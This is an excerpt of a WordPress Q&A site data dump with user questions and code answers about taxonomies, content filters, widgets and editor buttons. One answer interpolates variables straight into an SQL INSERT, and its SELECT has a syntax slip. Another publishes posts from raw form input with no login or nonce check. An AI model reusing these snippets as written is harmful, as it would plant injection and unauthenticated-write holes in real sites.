LastEditDate="2011-02-06T16:26:44.300" LastActivityDate="2011-02-06T16:26:44.300" Title="simple fields plugin custom query" Tags="&lt;custom-field&gt;&lt;query-posts&gt;&lt;coding&gt;&lt;plugin-simple-fields&gt;" CommentCount="3" />
  <row Id="6026" PostTypeId="2" ParentId="5998" CreationDate="2010-12-28T09:29:04.713" Score="1" ViewCount="" Body="&lt;p&gt;To comply with the QA thread structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It was caused by a conflict of simple tags plugin and new code in 3.1 / Trunk Version.&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-12-28T09:29:04.713" CommunityOwnedDate="2010-12-28T09:29:04.713" />
  <row Id="6028" PostTypeId="1" CreationDate="2010-12-28T11:41:33.670" Score="0" ViewCount="101" Body="&lt;p&gt;In my site I have posts based on edition like newsletter. So for each post there is edition based on month (instead of posting date), eg. Nov 2010, Dec 2010, etc. And the postings can be reuse to the next editions.&#xA;I also use some custom taxonomy to group posts based on several grouping (topics, location, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want to do is to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;group every post with same month&lt;/li&gt;&#xA;&lt;li&gt;group each month edition into yearly&lt;/li&gt;&#xA;&lt;li&gt;be able to classify each edition for posting (in wait, in post,&#xA;expired) and only the &quot;in post&quot; will be displayed in the site.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I achieve #1 and #2 by using build-in date, but lack of flexibility.&#xA;My current scenario is posting in the current month (in Nov for Nov edition, etc) and displaying only month and year.&#xA;But having difficulty when:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I want to reuse the post (which now I duplicate the post and set the posting date for the current month).&lt;/li&gt;&#xA;&lt;li&gt;When I search / go to archive based on certain taxo, all editions are displayed. For example, if I click on &quot;sport&quot; (from topic taxo), all posts in &quot;sport&quot; will be displayed (including the same articles from different months edition - the same articles from different editions will show up).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried to use custom taxo for editions but it failed.&#xA;The code I use to display list of editions is (the same with all other custom taxos):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$taxonomy     = 'edition';&#xA;$orderby      = 'name'; &#xA;$show_count   = 1;&#xA;$pad_counts   = 1;&#xA;$hierarchical = 1;&#xA;$title        = 'Editions';&#xA;&#xA;$args = array(&#xA;  'taxonomy'     =&amp;gt; $taxonomy,&#xA;  'orderby'      =&amp;gt; $orderby,&#xA;  'show_count'   =&amp;gt; $show_count,&#xA;  'pad_counts'   =&amp;gt; $pad_counts,&#xA;  'hierarchical' =&amp;gt; $hierarchical,&#xA;  'title_li'     =&amp;gt; $title&#xA;);&#xA;?&amp;gt;&#xA;&amp;lt;?php wp_list_categories( $args ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The list return correct editions names (Nov 2010, Dec 2010, etc) but when clicking the &quot;Dec 2010&quot; it goes to 'not found page'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For #3, I tried to use categories and plugin to hide posts in certain categories (i.e. in wait, expired). But they still displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, back to my inquiries above, is there any suggestion on how to do them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rio&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:30:39.757" LastActivityDate="2011-02-06T16:30:39.757" Title="Manage posts with custom taxonomy to replace build in dates" Tags="&lt;custom-taxonomy&gt;&lt;query-posts&gt;" CommentCount="2" FavoriteCount="1" />
  <row Id="6029" PostTypeId="1" CreationDate="2010-12-28T12:20:07.303" Score="0" ViewCount="183" Body="&lt;p&gt;ok...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;let me explain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i have an example post in wp admin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and i want to add :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;some text (already added via the posts editor)&lt;/li&gt;&#xA;&lt;li&gt;some custom stuff (some taxonomy that i have already added)&lt;/li&gt;&#xA;&lt;li&gt;some videos&lt;/li&gt;&#xA;&lt;li&gt;and some images&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;How can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't know how to add the videos and images after the content (the text )&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:31:31.677" LastActivityDate="2011-02-07T07:04:51.297" Title="How to add multiple the_content or something like that?" Tags="&lt;the-content&gt;" AnswerCount="2" CommentCount="5" />
  <row Id="6030" PostTypeId="2" ParentId="6029" CreationDate="2010-12-28T12:22:41.383" Score="1" ViewCount="" Body="&lt;p&gt;so you can do that with the use of custom fields, you can use custom fields, to add images and videos check this &lt;a href=&quot;http://wordpress.org/support/topic/plugin-wordbook-add-custom-field-video-to-facebook&quot; rel=&quot;nofollow&quot;&gt;answer&lt;/a&gt; it might help you&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-28T12:41:33.130" LastActivityDate="2010-12-28T12:41:33.130" CommentCount="5" />
  <row Id="6031" PostTypeId="2" ParentId="6023" CreationDate="2010-12-28T12:31:40.460" Score="4" ViewCount="" Body="&lt;p&gt;Decided to entertain the idea. Adapted from my snippet that &lt;a href=&quot;http://themehybrid.com/support/topic/reformatting-commenters-urls&quot; rel=&quot;nofollow&quot;&gt;changes anchors to collapsed domain names&lt;/a&gt;. Little too verbose, but seems to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'anchors_to_page_titles' );&#xA;&#xA;function anchors_to_page_titles( $content ) {&#xA;&#xA;    preg_match_all( '/&amp;lt;a.*?href=&quot;(.*?)&quot;.*?&amp;gt;(.*?)&amp;lt;\/a&amp;gt;/', $content, $matches );&#xA;    array_shift( $matches );&#xA;&#xA;    foreach( $matches[0] as $key =&amp;gt; $url ) {&#xA;&#xA;    $anchor = $matches[1][$key];&#xA;&#xA;    if( $url == $anchor ) {&#xA;&#xA;        $transient_key = 'page_title_'.md5($url);&#xA;        $anchor = get_transient($transient_key);&#xA;&#xA;        if( !$anchor ) {&#xA;&#xA;            $response = wp_remote_request($url);&#xA;            $body = wp_remote_retrieve_body($response);&#xA;            $pattern = '/title&amp;gt;(.*?)&amp;lt;/';&#xA;            $title = array();&#xA;            preg_match( $pattern, $body, $title);&#xA;&#xA;            if( !empty( $title ) ) {&#xA;&#xA;                $title = $title[1];&#xA;                $anchor = $title;&#xA;                set_transient( $transient_key, $anchor, 60*60*24 );&#xA;            }&#xA;            else {&#xA;                $anchor = $url;&#xA;                set_transient( $transient_key, $anchor, 60*60 );&#xA;            }&#xA;        }&#xA;&#xA;        $content = str_replace( &quot;&amp;gt;{$url}&amp;lt;/a&amp;gt;&quot;, &quot;&amp;gt;{$anchor}&amp;lt;/a&amp;gt;&quot;, $content );&#xA;    }&#xA;&#xA;    }&#xA;&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;PS maybe it would make sense to modify post on save rather than filtering on display... Well, as per my comment I don't think page titles are good for this anyway.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-28T12:31:40.460" CommentCount="1" />
  <row Id="6032" PostTypeId="2" ParentId="6018" CreationDate="2010-12-28T15:57:27.613" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@ntechi:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this is what you are looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql =&amp;lt;&amp;lt;&amp;lt; SQL&#xA;SELECT&#xA;  id&#xA;FROM&#xA;  myrp_ratings AS rat,&#xA;  INNER JOIN wp_comments AS com ON com.comment_ID = rat.comment_id&#xA;WHERE 1=1&#xA;  AND com.comment_author_email = '%s'&#xA;  AND rat.value != '0'&#xA;  AND rat.value != '1'&#xA;LIMIT&#xA; 1&#xA;SQL;&#xA;$sql = $wpdb-&amp;gt;prepare($sql,'whatever@whatever.com');&#xA;$id = $wpdb-&amp;gt;get_var($sql);&#xA;if (is_null($id)) {&#xA;  $wpdb-&amp;gt;query(&quot;INSERT INTO `&quot; . $wpdb-&amp;gt;myrp_ratings . &quot;`(`ID`, `category_id`, `post_id`, `comment_id`, `value`, `outof`, `weighted`) VALUES('', '{$name}', '{$postID}', '-1', '{$value}', '{$outof}', '&quot; . ($value/$outof) . &quot;')&quot;);    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note how I formatted the SQL so you could actually read it? &lt;em&gt;(though admittedly I didn't go to the effort with the &lt;code&gt;INSERT&lt;/code&gt;.)&lt;/em&gt;  Also, note how I used &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt; to ensure that no SQL injection attacks were used from invalid email addresses? &lt;em&gt;(Your plugin developer unfortunately did not do the same.)&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also be careful modifying plugins; if you do you need to change the version number to something huge like 999 to ensure you or another user doesn't accidentally overwrite your changes when the vendor updates their plugin. Best if possible to get them to incorporate your changes into the next release of their plugin.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-29T07:41:44.263" LastActivityDate="2010-12-29T07:41:44.263" CommentCount="15" />
  <row Id="6033" PostTypeId="1" AcceptedAnswerId="6047" CreationDate="2010-12-28T16:21:16.123" Score="4" ViewCount="265" Body="&lt;p&gt;Somehow the WordPress editor doesn't have a button to insert a horizontal line (&lt;code&gt;&amp;lt;hr /&amp;gt;&lt;/code&gt; in html). Is there a plugin that adds this button? Or an easy way to add such a button myself?&lt;/p&gt;&#xA;" OwnerUserId="154" LastActivityDate="2010-12-28T22:23:41.657" Title="Get a button for &lt;hr&gt; in the Editor" Tags="&lt;plugins&gt;&lt;customization&gt;&lt;editor&gt;" AnswerCount="1" FavoriteCount="2" />
  <row Id="6034" PostTypeId="1" AcceptedAnswerId="6035" CreationDate="2010-12-28T19:23:49.853" Score="0" ViewCount="201" Body="&lt;p&gt;As a proof of concept, I'd like to create a simple plugin that loads some content, say &quot;hello world&quot; just after the_content on the home page only. How can I do this from a plugin?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-05-09T12:51:42.680" Title="How can I add/append content to the_content on the home page via a plugin?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6035" PostTypeId="2" ParentId="6034" CreationDate="2010-12-28T19:32:38.820" Score="0" ViewCount="" Body="&lt;p&gt;You mean a filter and a check for &lt;code&gt;is_home()&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'the_content', 'wpse6034_the_content' );&#xA;function wpse6034_the_content( $content )&#xA;{&#xA;    if ( is_home() ) {&#xA;        $content .= '&amp;lt;p&amp;gt;Hello World!&amp;lt;/p&amp;gt;';&#xA;    }&#xA;    return $content;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-28T19:32:38.820" CommentCount="3" />
  <row Id="6036" PostTypeId="1" AcceptedAnswerId="6044" CreationDate="2010-12-28T19:42:34.583" Score="0" ViewCount="97" Body="&lt;p&gt;From what I can tell the widget API is pretty straight forward and simple, yet for some reason my update code isn't taking effect properly. When I press [save] from the backend all fields are blanked, and nothing is actually saved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I drag my widget onto the sidebar region, an entry is created in the database for the widget.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1846, 0, 'widget_email-signup', 'a:2:{i:2;a:0:{}s:12:&quot;_multiwidget&quot;;i:1;}', 'yes'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I input values and save, none are saved. I've intercepted both &lt;code&gt;$new_instance&lt;/code&gt; and &lt;code&gt;$old_instance&lt;/code&gt; during the call to my update method and wrote their outputs to a file, but found nothing in them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Full Code: &lt;a href=&quot;http://pastebin.com/gtrfuciZ&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/gtrfuciZ&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update Method&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function update( $new_instance, $old_instance ) {&#xA;  $instance = $old_instance;&#xA;&#xA;  $instance['title'] = $new_instance['title'];&#xA;  $instance['script'] = $new_instance['script'];&#xA;&#xA;  file_put_contents( '/wp_results.txt', print_r( $old_instance, true ) );&#xA;  file_put_contents( '/wp_results.txt', print_r( $new_instance, true ), FILE_APPEND );&#xA;&#xA;  return $instance; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;wp_results.txt&lt;/strong&gt; (data found within update method)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [title] =&amp;gt; &#xA;    [script] =&amp;gt; &#xA;)&#xA;Array&#xA;( )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="92" LastEditorUserId="92" LastEditorDisplayName="" LastEditDate="2010-12-28T19:51:51.533" LastActivityDate="2010-12-29T08:02:03.220" Title="Widget Update Code Not Working" Tags="&lt;widgets&gt;" AnswerCount="1" />
  <row Id="6037" PostTypeId="1" CreationDate="2010-07-21T15:02:11.687" Score="2" ViewCount="131" Body="&lt;p&gt;I have a y.wordpress.com blog and I contribute to another x.wordpress.com under the role editor adding post contributions.The owner's account is set to publicize to Twitter any updates he/she makes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not have the credentials of the owner for x.wordpress.com. How can I publish a post so that it publicizes to their Twitter account and not mine ?&lt;/p&gt;&#xA;" OwnerUserId="996" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:30:03.613" LastActivityDate="2011-01-11T07:30:03.613" Title="Using WordPress publicize with main account and editor user accounts" Tags="&lt;wordpress.com&gt;&lt;twitter&gt;&lt;user-roles&gt;" AnswerCount="1" />
  <row Id="6038" PostTypeId="2" ParentId="6037" CreationDate="2010-12-24T05:19:20.440" Score="1" ViewCount="" Body="&lt;p&gt;From one of WP engineers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not possible for you to publish a post and have it publicized under the blog owners credentials. It sounds like you are setup as an author on blog x. If you were setup as a contributor you could write the post but it would have to be published by the owner of the blog. They would then be authorized to publicize the post when they published it. Otherwise the only option would be to publicize the post manually through Twitter. You can find more information on User roles here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.support.wordpress.com/user-roles/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/user-roles/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Okay just to clarify one thing, I am not talking about the owners WP&#xA;  credentials but rather the owners Twitter credentials. In any case, I&#xA;  thought there could be some kind of authorization like in any other twitter&#xA;  application. Since the author needs to be authorized by the owner to be able&#xA;  to be appointed and Twitter needs authorization from the owner to publish.&#xA;  Unless I am missing a hole between these two closed paths.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In this case, I believe  the Twitter credentials are tied to the individual's WordPress.com credentials. When a post is published it looks at the information for the person publishing and pull the Twitter account info from there. To quote from the Publicize docs page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;For multi-author blogs, each user that wants to connect to a Publicize service will need to do so separately as well.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That page can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.support.wordpress.com/publicize/&quot; rel=&quot;nofollow&quot;&gt;http://en.support.wordpress.com/publicize/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think it would be a nice feature to attach a Twitter (Facebook, Yahoo, etc.) account to the blog so that all posts published there could be publicized through one account. I'll pass that along to our developers and see what they think. There may be some complications with doing this that I haven't thought of which may be why they didn't implement the feature like that.&lt;/p&gt;&#xA;" OwnerUserId="996" LastActivityDate="2010-12-28T19:59:23.833" />
  <row Id="6039" PostTypeId="1" CreationDate="2010-12-28T20:24:56.633" Score="0" ViewCount="469" Body="&lt;p&gt;I think its probably easier than I think to do this, but currently its beyond me. If there are any plugins out there I'd prefer to start there rather than develop from scratch, but I'll do what I have to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already created a custom content type called &quot;biblio&quot; that I will use to hold and display Bibliography info. Each entry will contain:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Title: Will re-use page title field&#xA;Abstract:  Will re-use content field&#xA;Tags: Will re-use Tags field&#xA;Authors: Custom field (with ability to add multiple)&#xA;Date: Custom field &#xA;Publication: Custom field &#xA;Doc ID: Custom field &#xA;Link to external article: Custom field&#xA;Keywords:  Custom field (with ability to add multiple)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I need&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A way to customize the edit post&#xA;page for my custom content type to&#xA;show only specified default and&#xA;custom fields (may not be needed if I can get #2 below) &lt;/li&gt;&#xA;&lt;li&gt;A way to be able to&#xA;bulk edit these in a user friendly&#xA;way (not using my phpmyadmin).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I have tried a nummber of plugins. One really useful one is Custom Content Type Manager (thanks fireproofsocks, whoever you are). But I still need to be able to do the 2 things I mentioned above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By way of example there is a great set of plugins next gen gallery plus custom fields for next gen gallery that works how I would like the admin side of my custom content type. I linked up a screenshot marked up as to how I'd like to change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://davidmichaelhatch.com/wp-content/uploads/2010/12/custom-edit-admin-example.png&quot; rel=&quot;nofollow&quot;&gt;http://davidmichaelhatch.com/wp-content/uploads/2010/12/custom-edit-admin-example.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any info leading to a way to do #1 #2 above would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you,&#xA;David&lt;/p&gt;&#xA;" OwnerUserId="2187" LastActivityDate="2010-12-28T23:19:26.907" Title="How can I customize &quot;Pages&quot; admin (edit.php) and &quot;Edit Page&quot; admin (post.php) for bulk edit of custom content type?" Tags="&lt;custom-post-types&gt;&lt;custom-field&gt;&lt;customization&gt;" AnswerCount="1" FavoriteCount="0" />
  <row Id="6040" PostTypeId="2" ParentId="2379" CreationDate="2010-12-28T20:31:59.680" Score="1" ViewCount="" Body="&lt;p&gt;In gallery settings there is an checkbox option called &quot;Deactivate gallery page link:&quot; &#xA;When that is checked &quot;The album will not link to a gallery subpage. The gallery is shown on the same page. &quot;  You may have already done it but if not uncheck it if its checked and see what happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;David&lt;/p&gt;&#xA;" OwnerUserId="2187" LastActivityDate="2010-12-28T20:31:59.680" />
  <row Id="6041" PostTypeId="2" ParentId="573" CreationDate="2010-12-28T20:37:15.030" Score="0" ViewCount="" Body="&lt;p&gt;Try the 'Multisite Switcher' plugin. I use it to switch from one site to another within the Admin of a multisite install.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know SuperAdmin can access this feature, but you may(?) need to set capability permissions via the Role Manager plugin for lesser roles to use this feature. &lt;/p&gt;&#xA;" OwnerUserId="1836" LastActivityDate="2010-12-28T20:37:15.030" />
  <row Id="6042" PostTypeId="1" AcceptedAnswerId="6058" CreationDate="2010-12-28T20:44:11.860" Score="0" ViewCount="103" Body="&lt;p&gt;The code below creates a plugin that appends the contents of $content to &quot;the_content&quot; on the hompage. It works fine when I set $content to a static value. However, I'm trying to set it to draw out the site's active categories as a list. However, nothing happens when I set $content to wp_list_categories()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I want to hack into the wp_list_categories function and display the thumbnail image that's been assigned to the category (still have to enable the code to do that as well).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the first evolution of the plugin and I'm just attempting to get it to list the categories and descriptions before I build in the thumbnail support.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA;Plugin Name: List Categories with Thumbnail Images&#xA;*/&#xA;&#xA;add_filter( 'the_content', 'cb_category_listing' );&#xA;&#xA;function cb_category_listing( $content )&#xA;{&#xA;    if ( is_home() ) {&#xA;//      $content .= '&amp;lt;p&amp;gt;Hello World!&amp;lt;/p&amp;gt;';&#xA;        $cat_args['title_li'] = '';&#xA;        $myContent = wp_list_categories(apply_filters('widget_categories_args', $cat_args)); &#xA;        $content .= $myContent;&#xA;    }&#xA;    return $content;&#xA;}&#xA;&#xA;add_action( 'init','cb_category_listing');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2010-12-29T07:57:18.830" Title="List categories with descriptions via plugin" Tags="&lt;plugin-development&gt;" AnswerCount="2" />
  <row Id="6043" PostTypeId="2" ParentId="5979" CreationDate="2010-12-28T21:11:33.267" Score="6" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php $postTitle = $_POST['post_title'];&#xA;$post = $_POST['post'];&#xA;$submit = $_POST['submit'];&#xA;&#xA;if(isset($submit)){&#xA;&#xA;    global $user_ID;&#xA;&#xA;    $new_post = array(&#xA;        'post_title' =&amp;gt; $postTitle,&#xA;        'post_content' =&amp;gt; $post,&#xA;        'post_status' =&amp;gt; 'publish',&#xA;        'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;        'post_author' =&amp;gt; $user_ID,&#xA;        'post_type' =&amp;gt; 'post',&#xA;        'post_category' =&amp;gt; array(0)&#xA;    );&#xA;&#xA;    wp_insert_post($new_post);&#xA;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;!DOCTYPE HTML SYSTEM&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta content=&quot;text/html; charset=utf-8&quot; http-equiv=&quot;Content-Type&quot; /&amp;gt;&#xA;&amp;lt;title&amp;gt;Untitled Document&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;div id=&quot;wrap&quot;&amp;gt;&#xA;&amp;lt;form action=&quot;&quot; method=&quot;post&quot;&amp;gt;&#xA;&amp;lt;table border=&quot;1&quot; width=&quot;200&quot;&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;label for=&quot;post_title&quot;&amp;gt;Post Title&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;input name=&quot;post_title&quot; type=&quot;text&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;  &amp;lt;tr&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;label for=&quot;post&quot;&amp;gt;Post&amp;lt;/label&amp;gt;&amp;lt;/td&amp;gt;&#xA;    &amp;lt;td&amp;gt;&amp;lt;input name=&quot;post&quot; type=&quot;text&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;  &amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;&#xA;&amp;lt;input name=&quot;submit&quot; type=&quot;submit&quot; value=&quot;submit&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found this at &lt;a href=&quot;http://themeforest.net/forums/thread/wordpress-user-post-without-login/26049?page=1#241206&quot; rel=&quot;nofollow&quot;&gt;Themeforest&lt;/a&gt; it's working fine,&lt;br&gt;&#xA;you can do a lot of things with this, you have to add some extra code to check if a user is logged in or whatever you want to do,  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the other hand you have to search in the WordPress plugins repo to find out some great plugins,&lt;br&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/tags/frontend&quot; rel=&quot;nofollow&quot;&gt;Search for &quot;frontend&quot;&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope it helps&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-02-04T06:34:53.537" LastActivityDate="2011-02-04T06:34:53.537" CommentCount="7" />
  <row Id="6044" PostTypeId="2" ParentId="6036" CreationDate="2010-12-28T22:08:56.827" Score="3" ViewCount="" Body="&lt;p&gt;You're using &lt;code&gt;get_field_id()&lt;/code&gt; for the name attribute of the form elements, but you should use &lt;code&gt;get_field_name()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field names are of the form &lt;code&gt;widget-{$id_base}[{$number}][{$field_name}]&lt;/code&gt;, but id's can't use &lt;code&gt;[]&lt;/code&gt;, so they are like &lt;code&gt;widget-{$id_base}-{$number}-{$field_name}&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-29T08:02:03.220" LastActivityDate="2010-12-29T08:02:03.220" CommentCount="1" />
  <row Id="6045" PostTypeId="1" CreationDate="2010-12-28T22:11:44.080" Score="3" ViewCount="197" Body="&lt;p&gt;In the sidebar of this page: &lt;a href=&quot;http://lifebridgecypress.org/our-people&quot; rel=&quot;nofollow&quot;&gt;http://lifebridgecypress.org/our-people&lt;/a&gt;, I have a list of upcoming events using this code...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;upcoming-events&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;    $latestPosts = new WP_Query();&#xA;    $latestPosts-&amp;gt;query('cat=3&amp;amp;showposts=10');&#xA;?&amp;gt;&#xA;&amp;lt;?php while ($latestPosts-&amp;gt;have_posts()) : $latestPosts-&amp;gt;the_post(); ?&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only problem is that these events have already past... ha ha.  I'd like to configure the code where it only shows upcoming events in the future, and then 24 hours after the event, it would disappear from this upcoming events list in the sidebar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Does anyone know how to do this by modifying this code?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2059" LastActivityDate="2010-12-29T03:13:50.910" Title="Only Showing Upcoming Events" Tags="&lt;php&gt;&lt;events&gt;&lt;list&gt;" AnswerCount="2" CommentCount="5" FavoriteCount="1" />
  <row Id="6046" PostTypeId="2" ParentId="6045" CreationDate="2010-12-28T22:22:44.383" Score="0" ViewCount="" Body="&lt;p&gt;This code will only show your latest posts. One solution is to unpublish the posts regarding events that have already past.&lt;/p&gt;&#xA;" OwnerUserId="2188" LastActivityDate="2010-12-28T22:22:44.383" />
  <row Id="6047" PostTypeId="2" ParentId="6033" CreationDate="2010-12-28T22:23:41.657" Score="5" ViewCount="" Body="&lt;p&gt;There's an easy way.&#xA;Open functions.php and add this code. It works for many html entities&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// got this form http://www.sycha.com/wordpress-add-hr-button-tinymce-visual-editor&#xA;&#xA;function enable_more_buttons($buttons) {&#xA;  $buttons[] = 'hr';&#xA;&#xA; /*&#xA;  Repeat with any other buttons you want to add, e.g.&#xA;  $buttons[] = 'fontselect';&#xA;  $buttons[] = 'sup';&#xA; */&#xA;&#xA; return $buttons;&#xA;}&#xA;&#xA;add_filter(&quot;mce_buttons&quot;, &quot;enable_more_buttons&quot;);&#xA;//add_filter(&quot;mce_buttons_2&quot;, &quot;enable_more_buttons&quot;); // add to second row&#xA;//add_filter(&quot;mce_buttons_3&quot;, &quot;enable_more_buttons&quot;); // add to third row&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1576" LastActivityDate="2010-12-28T22:23:41.657" CommentCount="3" />
